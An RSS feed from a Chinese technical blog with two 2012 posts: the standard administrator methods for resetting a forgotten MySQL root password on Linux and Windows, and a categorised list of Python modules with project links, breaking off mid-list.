<?xml version="1.0" encoding="gb2312"?>

<!-- RSS generated by oioj.net on 4/16/2004 ; 感谢LeXRus提供 RSS 2.0 文档; 此文件可自由使用，但请保留此行信息 --> 
<!-- Source download URL: http://blogger.org.cn/blog/rss2.asp       -->
<rss version="2.0">

<channel>
<title>zhanglincon的博客</title>
<link>http://blogger.org.cn/blog/blog.asp?name=zhanglincon</link>
<description>zhanglincon的博客</description>
<copyright>blogger.org.cn</copyright>
<generator>W3CHINA Blog</generator>
<webMaster>webmaster@blogger.org.cn</webMaster>
<item>
<title><![CDATA[mysql 忘记密码]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=72706</link>
<author>zhanglincon</author>
<pubDate>2012/5/14 10:16:03</pubDate>
<description><![CDATA[<A>　如果是root密码：<BR><BR>方法一：<BR>MySQL提供跳过访问控制的命令行参数，通过在命令行以此命令启动MySQL服务器： <BR>safe_mysqld --skip-grant-tables&amp; <BR>即可跳过MySQL的访问控制，任何人都可以在控制台以管理员的身份进入MySQL数据库。 <BR>需要注意的是在修改完密码以后要把MySQL服务器停掉重新启动才会生效<BR><BR>方法二：<BR>可以进行如下的步骤重新设置MySQL的root密码： <BR>1．首先确认服务器出于安全的状态，也就是没有人能够任意地连接MySQL数据库。 <BR>因为在重新设置MySQL的root密码的期间，MySQL数据库完全出于没有密码保护的 <BR>状态下，其他的用户也可以任意地登录和修改MySQL的信息。可以采用将MySQL对 <BR>外的端口封闭，并且停止Apache以及所有的用户进程的方法实现服务器的准安全 <BR>状态。最安全的状态是到服务器的Console上面操作，并且拔掉网线。 <BR>2．修改MySQL的登录设置： <BR># vi /etc/my.cnf <BR>在[mysqld]的段中加上一句：skip-grant-tables <BR>例如： <BR>[mysqld] <BR>datadir=/var/lib/mysql <BR>socket=/var/lib/mysql/mysql.sock <BR>skip-name-resolve <BR>skip-grant-tables <BR>保存并且退出vi。 <BR>3．重新启动mysqld <BR># /etc/init.d/mysqld restart <BR>Stopping MySQL: [ OK ] <BR>Starting MySQL: [ OK ] <BR>4．登录并修改MySQL的root密码 <BR># /usr/bin/mysql <BR>Welcome to the MySQL monitor. Commands end with ; or \g. <BR>Your MySQL connection id is 3 to server version: 3.23.56 <BR>Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer. <BR>mysql&gt; USE mysql ; <BR>Reading table information for completion of table and column names <BR>You can turn off this feature to get a quicker startup with -A <BR>Database changed <BR>mysql&gt; UPDATE user SET Password = password ( ‘new-password’ ) WHERE User = ‘root’ ; <BR>Query OK, 0 rows affected (0.00 sec) <BR>Rows matched: 2 Changed: 0 Warnings: 0 <BR>mysql&gt; flush privileges ; <BR>Query OK, 0 rows affected (0.01 sec) <BR>mysql&gt; quit <BR>Bye <BR>5．将MySQL的登录设置修改回来 <BR># vi /etc/my.cnf <BR>将刚才在[mysqld]的段中加上的skip-grant-tables删除 <BR>保存并且退出vi。 <BR>6．重新启动mysqld <BR># /etc/init.d/mysqld restart <BR>Stopping MySQL: [ OK ] <BR>Starting MySQL: [ OK ] <BR>windows <BR>1.以系统管理员身份登陆系统。 <BR>&nbsp; 2.打开cmd—–net start 查看mysql是否启动。启动的话就停止net stop mysql. <BR>&nbsp; 3.我的mysql安装在d:\usr\local\mysql4\bin下。 <BR>&nbsp; 4.跳过权限检查启动mysql. <BR>&nbsp; d:\usr\local\mysql4\bin\mysqld-nt –skip-grant-tables <BR>&nbsp; 5.重新打开cmd。进到d:\usr\local\mysql4\bin下： <BR>&nbsp; d:\usr\local\mysql4\bin\mysqladmin -uroot flush-privileges password “newpassword” <BR>&nbsp; d:\usr\local\mysql4\bin\mysqladmin -u root -p shutdown 这句提示你重新输密码。 <BR>&nbsp; 6.在cmd里net start mysql <BR>&nbsp; 7.搞定了。 <BR>2，MySQL4.1以上版本一种密码错误问题的解决方法 <BR>1 # SET PASSWORD FOR ’some_user’@’some_host’ = OLD_PASSWORD(‘newpwd’);&nbsp;&nbsp; <BR>2 # FLUSH PRIVILEGES;&nbsp; <BR>3，Mysql数据库修复 <BR>myisamchk -r -q d:\mysql\data\latin1\* <BR>r代表修复 <BR>q代表快速 <BR>d:\mysql\data\latin1\*数据库里面 *代表里面的所有的文件&nbsp; <BR><BR><BR>方法三：<BR>如果你忘记了你的MYSQL的root口令的话，你可以通过下面的过程恢复。<BR>&nbsp; 1. 向mysqld server 发送kill命令关掉mysqld server(不是 kill -9),存放进程ID的文件通常在MYSQL的数据库所在的目录中。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kill `cat /mysql-data-directory/hostname.pid`<BR>&nbsp;&nbsp;&nbsp;&nbsp; 你必须是UNIX的root用户或者是你所运行的SERVER上的同等用户，才能执行这个操作。<BR>&nbsp; 2. 使用`--skip-grant-tables' 参数来启动 mysqld。<BR>&nbsp; 3. 使用`mysql -h hostname mysql'命令登录到mysqld server ，用grant命令改变口令。你也可以这样做：`mysqladmin -h hostname -u user password 'new password''。<BR>（其实也可以用use mysql; update user set password =password('yourpass') where user='root' 来做到。）<BR>&nbsp; 4. 载入权限表： `mysqladmin -h hostname flush-privileges' ，或者使用 SQL 命令`FLUSH PRIVILEGES'。（当然，在这里，你也可以重启mysqld。）<BR><BR>方法四：(一定要先备份)<BR>1，重新在另一台电脑上安装相同版本的MySQL<BR>2，删除忘记密码的电脑中MySQL安装目录中\data\mysql的全部内容（要先停止MySQL服务）<BR>3，Copy新装的电脑上MySQL安装目录中\data\mysql的全部内容 to 刚刚删除的目录中<BR>4，启动MySQL服务<BR><BR>这样就只有一个root用户了，密码为空……</A>]]></description>
</item><item>
<title><![CDATA[Python的50个模块，满足你各种需要]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=zhanglincon&amp;id=53292</link>
<author>zhanglincon</author>
<pubDate>2012/2/2 19:36:46</pubDate>
<description><![CDATA[
<DIV id=cnblogs_post_body><SPAN style="LINE-HEIGHT: 18px; BACKGROUND-COLOR: #f9f9f9; FONT-FAMILY: Tahoma; FONT-SIZE: 12px; -webkit-text-size-adjust: none" class=Apple-style-span>Python具有强大的扩展能力，我列出了50个很棒的Python模块，包含几乎所有的需要：比如Databases，GUIs，Images, Sound, OS interaction, Web,以及其他。推荐收藏。&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px"><BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/wxpython">wxPython</A>&nbsp;http://wxpython.org&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pygtk">pyGtk</A>&nbsp;http://www.pygtk.org&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyqt">pyQT</A>&nbsp;http://www.riverbankcomputing.co.uk/pyqt/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pmw">Pmw</A>&nbsp;http://pmw.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/tkinter">Tkinter</A>&nbsp;3000 http://effbot.org/zone/wck.htm&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Graphical interface&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/tix">Tix</A>&nbsp;http://tix.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/mysql+for+python">MySQLdb</A>&nbsp;http://sourceforge.net/projects/mysql-python&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pygresql">PyGreSQL</A>&nbsp;http://www.pygresql.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/gadfly">Gadfly</A>&nbsp;http://gadfly.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/sqlalchemy">SQLAlchemy</A>&nbsp;http://www.sqlalchemy.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/psycopg">psycopg</A>&nbsp;http://www.initd.org/pub/software/psycopg/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/kinterbasdb">kinterbasdb</A>&nbsp;http://kinterbasdb.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/cx_oracle">cx_Oracle</A>&nbsp;http://www.cxtools.net/default.aspx?nav=downloads&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Database&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pysqlite">pySQLite</A>&nbsp;http://initd.org/tracker/pysqlite&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">MSN Messenger msnlib http://auriga.wearlab.de/~alb/msnlib/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">MSN Messenger&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pymsn">pymsn</A>&nbsp;http://telepathy.freedesktop.org/wiki/Pymsn&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">MSN Messenger&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/msnp.py">msnp</A>&nbsp;http://msnp.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Network Twisted http://twistedmatrix.com/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Images PIL http://www.pythonware.com/products/pil/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Images gdmodule http://newcenturycomputers.net/projects/gdmodule.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Images&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/videocapture">VideoCapture</A>&nbsp;http://videocapture.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sciences and Maths&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/scipy">scipy</A>&nbsp;http://www.scipy.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sciences and Maths&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/numpy">NumPy</A>&nbsp;http://numpy.scipy.org/ &nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sciences and Maths numarray http://www.stsci.edu/resources/software_hardware/numarray&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sciences and Maths&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/matplotlib">matplotlib</A>&nbsp;http://matplotlib.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Games&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pygame">Pygame</A>&nbsp;http://www.pygame.org/news.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Games&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyglet">Pyglet</A>&nbsp;http://www.pyglet.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Games&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pysoy">PySoy</A>&nbsp;http://www.pysoy.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Games&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyopengl">pyOpenGL</A>&nbsp;http://pyopengl.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Jabber&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/jabberpy">jabberpy</A>&nbsp;http://jabberpy.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Web scrape http://zesty.ca/python/scrape.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Web Beautiful Soup http://crummy.com/software/BeautifulSoup&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Web&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pythonweb">pythonweb</A>&nbsp;http://www.pythonweb.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Web mechanize http://wwwsearch.sourceforge.net/mechanize/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Localisation geoname.py http://www.zindep.com/blog-zindep/Geoname-python/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Serial port&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyserial">pySerial</A>&nbsp;http://pyserial.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Serial port USPP http://ibarona.googlepages.com/uspp&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Parallel Port pyParallel http://pyserial.sourceforge.net/pyparallel.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">USB Port&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyusb">pyUSB</A>&nbsp;http://bleyer.org/pyusb/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Windows ctypes http://starship.python.net/crew/theller/ctypes/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Windows&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pywin32">pywin32</A>&nbsp;http://sourceforge.net/projects/pywin32/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Windows pywinauto http://www.openqa.org/pywinauto/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Windows&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pyrtf">pyrtf</A>&nbsp;http://pyrtf.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Windows wmi http://timgolden.me.uk/python/wmi.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">PDA/GSM/Mobiles pymo http://www.awaretek.com/pymo.html&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">PDA/GSM/Mobiles&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pys60">pyS60</A>&nbsp;http://sourceforge.net/projects/pys60&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sound&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pysoundic">pySoundic</A>&nbsp;http://pysonic.sourceforge.net/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sound&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" href="http://www.oschina.net/p/pymedia">pyMedia</A>&nbsp;http://pymedia.org/&nbsp;&nbsp;&nbsp;<BR style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px">Sound&nbsp;<A style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; OUTLINE-WIDTH: 0px; PADDING-RIGHT: 0px; COLOR: #4466bb; PADDING-TOP: 0px" 